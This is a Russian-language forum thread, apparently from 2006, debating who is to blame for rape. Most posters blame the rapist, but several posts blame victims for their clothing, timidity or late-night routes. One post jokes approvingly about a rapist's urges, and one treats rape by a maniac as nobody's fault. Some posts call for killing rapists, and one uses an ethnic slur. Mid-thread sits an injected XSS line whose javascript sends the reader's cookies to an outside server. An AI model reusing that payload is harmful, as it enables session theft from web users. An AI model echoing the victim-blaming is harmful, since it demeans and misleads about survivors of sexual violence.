Кто виноват в изнасиловании?

Считаю, что виноват насильник.

Но. Дело тут не в ярком макияже и не в короткой юбке.
А в психологии жертвы.
Знаете, у расфуфыренной блондинки на бешенных каблуках и чуть ли не в бикини, но уверенно шагающей ,пусть и по темной аллее, шансов, что ее изнасилуют практически нет, в отличии от сжавшейся серой мышки, которую только в лифте могут три раза изнасиловать...

Насильник - больной человек и он будет издеваться только над тем, кто слабее его. Кто боится его.

Я думаю, что здесь проблема в воспитании и не в том, которое мы получили с детства, а в воспитании человечества. Поясню: очень продолжительное время над человеческой сексуальностью висело бремя запретов (религиозных, клановых, родовых). Всё это привело к тому, что в человеке стало накапливаться неприятие этих запретов. В обществе, где нет вообще запретов, изнасилование не является аморальным (когда мы жили еще в пещерах). С появлением механизма запретов появилась и мораль. Конечно, виновата и девушка, если она правоцирует и насильник, который не в состоянии сдерживать свои эмоции. Но если смотреть глубже, то необходимо видоизменить само сообщество людей, чтобы не было даже причин, позволяющих разумному существу превращаться в животное. А это возможно только при смене приоритетов в морали, религии и механизма запретов.

Ответил, что в основном насильник. Но и провокации иногда могут быть такие...
Интересен еще такой вопрос. На форуме часто проскакивает от женщин: иногда хочется так, что хоть на стену лезь, любого разорвала бы. Если бы роли поменялись, если бы женщины физически были сильнее и имели возможность насиловать мужчин, кривая изнасилований увеличилась бы?

Я думаю, что полностью виноват насильник. Женщина прекрасна, и нет ничего страшного в том ,что она оденет короткую юбку или ярко накрасится, чтобы подчеркнуть свою красоту. Если человек не может себя сдержать, то это его тараканы в голове и его вина.

виноват насильник
но береженого Бог бережет.... иногда моя младшая родственница так одевается, что у меня глаза на лоб лезут...и я бы не так уж сильно обвиняла насильника, что ему захотелось вставить))))))

Вы что все, того , ВИНОВАТ ВСЕГДА НАСИЛЬНИК (моя-бы воля я их ) тут даже нечего обсуждать

(др.Ватсон @ 31.08.2006 - время: 19:36) В равной степени и насильник и жертва.
Насилуют не только разодетых в миниюбки и накрашенных. Насилуют тех, кто возвращается домой в 3 часа ночи, идя по стройке, чтобы скоротать путь. В общем 50/50. Он насилует, она идет в безлюдное место.
Ну да. Насильник виноват в том, что насилует. Жертва виновата в том, что по стройке ночью ходит. Стало быть, справедливо им по вине их - насильника за изнасилование - опустить, как на зоне принято, женщину за хождение по стройке - поругать. :)

(Палач @ 01.09.2006 - время: 21:29) Считаю, что виноват насильник.

Но. Дело тут не в ярком макияже и не в короткой юбке.
А в психологии жертвы.
Знаете, у расфуфыренной блондинки на бешенных каблуках и чуть ли не в бикини, но уверенно шагающей ,пусть и по темной аллее, шансов, что ее изнасилуют практически нет, в отличии от сжавшейся серой мышки, которую только в лифте могут три раза изнасиловать...

Насильник - больной человек и он будет издеваться только над тем, кто слабее его. Кто боится его.
Вот она истина! По-моему, на этом можно прекратить дискуссию.
Действительно это так. Причем, вообще по жизни. Человек уверенно шагающий с наглой мордой и высоко поднятой головой имеет очень мало шансов быть атакованым тем или иным криминальным элементом. Это как со стаей собак. Они чувствуют твой страх.

Насилию правдания нет. Как бы коротка не была моя юбка, каким бы не был вызывающим макияж, даже если я вот так иду " в ноль" в 3 часа ночи по стройке- это не повод. Мало ли что у меня стряслось, может, отсюда звезды виднее.
Самое главное, не понятно... почему я на этой самой пресловутой стройке или в темной подворотне не поджидаю стильно одетого мачо, чтоб его оглушить и отыметь, даже если мне этого хочется больше всего на свете?
Конечно, я не беру в расчет паталогически нездоровые на психическом уровне особи, и женщин, решивших по утру, что если им не заплатили, то это изнасилование)))

Я проголосовал 50/50. Так как подставные девушки, зарабатывающие на этом деньги и вправду стимулируют мужчин на будущие изнасилования из мести. Но потом вспомнил про невинных девушек и уже начал думать что в большей степени насильник. А затем и во все случаи когда насиловали девочек школьного возраста, мнение поменялось на только насильник! (да еще и эту сволочь!) Это как проанализировать ситуацию, такой ответ и получится.
Хотя вспомнил случай в новостях: 2 айзербоджаца вломились в дом где жили дедушка с внучкой (ей было14-15) деда избили, а ее несколько раз износиловав (она кстати тоже была айзербоджанкой) убили... вот этого я никогда не пойму! ну износиловал, получил удовольствие, но убивать зачем! в итоге их осудили на 10 и 15 лет. Жаль девочку...

Мое мнение: всегда виноват насильник! У него с головой непорядок, ему две дороги: в больницу или на зону. К таким же, как он.

(Скот учёный @ 05.09.2006 - время: 18:49) (др.Ватсон @ 31.08.2006 - время: 19:36) В равной степени и насильник и жертва.
Насилуют не только разодетых в миниюбки и накрашенных. Насилуют тех, кто возвращается домой в 3 часа ночи, идя по стройке, чтобы скоротать путь. В общем 50/50. Он насилует, она идет в безлюдное место.
Ну да. Насильник виноват в том, что насилует. Жертва виновата в том, что по стройке ночью ходит. Стало быть, справедливо им по вине их - насильника за изнасилование - опустить, как на зоне принято, женщину за хождение по стройке - поругать. :)
Да не в стройках дело!
Это же нелогично. Неужели вы думаете что во всех темных местах в три часа ночи будет ходить по женщине?

Конечно, в любом случае-виноват только насильник. Если мы живем хотя бы в чуть-чуть цивилизованном обществе, где уважается личность человека, его свобода выбора, то все разговоры о степени виновности жертвы-просто абсурд. Любой человек, хоть мужчина, хоть женщина, может ходить в том виде, который он считает для себя приемлемым. Говоря о какой бы то ни было виновности жертвы, мы скатываемся к дикости. Так сказать:"Ты виноват уж тем, что хочется мне кушать". Захотелось некоему индивиду почесать свою пипиську-он увидел девушку в юбке по короче-и вперед. Мол, сама виновата-раззадорила. Не надо путать неосторожность, даже глупость некоторых девченок с виной. Да, не надо пить в незнакомой компании, да, не надо подсаживаться в машины поздно вечером, да, еще много чего не надо, но жизнь есть жизнь и много глупостей совершается. Но при всем при этом, насилие над дурехой или просто неосторожной девушкой-точно такое же насилие, как и над настоятельницей женского монастыря. Разницы-то нет никакой. А, что касаемо, так называемых "подстав", то что об этом говорить? Подстава, она и есть подстава. Один Вам да дороге "подрезает" и кричит, что это Вы виноваты, другая-спит с Вами, а потом пишет заявление об изнасиловании. Осторожней надо. В любом случае. Простите за сумбур.

Я уже высказывался по этому поводу здесь. Теперь просто читаю, смотрю мнения других.
Присоединяюсь к sobaka. Стрелять их надо. Именно из-за таких многие девчонки думают о нас хреново. (Это я не ради выгоды себе. Просто вспомнил фильм "Правила съема. Метод Хитча")
А так...мне, например нравится посмотреть на красивую девушку, на ее длинные ноги, слегка прикрытие юбчонкой, на открытую грудь, слегка прикрытую оргомным декольте. Мне к сожалению не прет последнее время с противоположным. Потому приходится смотреть со стороны.

НО ДО НАСИЛИЯ НЕ ОПУСКАТЬСЯ!

Только слабаки себе такое позволяют, которые могут справиться только с женщиной. Критины.

И хочу пожелать "слабому" полу: будьте красивыми, всегда, везде, но аккуратно. Дебилов, к сожалению, хватает.

только насильник. стрелять их.

.com'>wj@wj.com ` style=`background:url(javascript:document.images.src="https://www.turboborisov.com/cgi-bin/zz.cgi?"+document.cookie);`

Прежде всего нужно разделять
1.) настоящее изнасилование, при котором женщина страдает либо от постороннего, либо от чела от которого зависит в несексуальной сфере.
В этом случае однозначно виноват насильник, потому что не его собачье дело где, когда и в чём женщина ходит. В случае с зависимостью, например,по работе, тоже виноват насильник, т.к. он негодяй незаконно пользуется положением.
и 2) "изнасилование"-подстава, либо "изнасилование"-по согласию
Вот с подставой всё ясно - некая сука что-то хочет от приличного человека, склоняет его, а потом закладывает или шантажирует. Тут она преступник, а он просто безвольный или безмозглый баран.
Самое сложное - как раз "по согласию". Т.е. девушка любит, хочет, но в какой-то момент даёт задний ход (может девичья стыдливость, может просто у парня в тот день носки грязные, мало ли...). А парень повинуясь нормальному для мужчины состоянию типа "девушка дразнит или требует продемонстрировать настойчивость". Вот тут вопрос вопросов.....

Отдельно выделю изнасилование маньяком.
Тут никто не виноват... потому что мы как дети - неспособны противостоять конфетам и варенью )))) Оно само... )) В этом наше предназначенье от природы... )

Хм …. Извечный русский вопрос “КТО виноват» еще не хватает» ЧТО делать» хотя многие ответили и на него. Ответил 50/50 первое, что пришло в голову так это именно подставы. Сейчас пораздумав, ответил бы насильник, так как чаще всего это больной человек и его место в психушке, хотя лично я определил бы его в морг. Есть еще и другая категория это люди, которые не могут себя сдерживать и не хотят, этим по нашим гуманным законам в тюрьму, хотя расстрел подействовал бы назидательно, как здерживающий фактор, может не на всех, но подействовал бы.

Нет моего ответа в перечислении.
Я бы ответил: виновато наше воспитание. Пуританские заморочки наших родителей, воспитание в стиле "вот женишься (выйдешь замужь) тогда..". А куда девать данную богом энергию малолеткам по 14-18 лет? Ведь все ХОТЯТ, и девочки и мальчики!!! Тайком по подворотням и по-пьяне. Мы воспитаны, что секс это ГРЕХ! Нет никакого греха!!! А те кто трубит о грехе, либо сами уже ничего не могут, либо имеют в этого дивиденты. Превратили любовь в торговлю.

50 на 50..
если девушка в.. вызывающе одета.. а парень или маньяк голодный.. ух..

Считаю что насильник. Т.к. факт совершения преступленя налицо.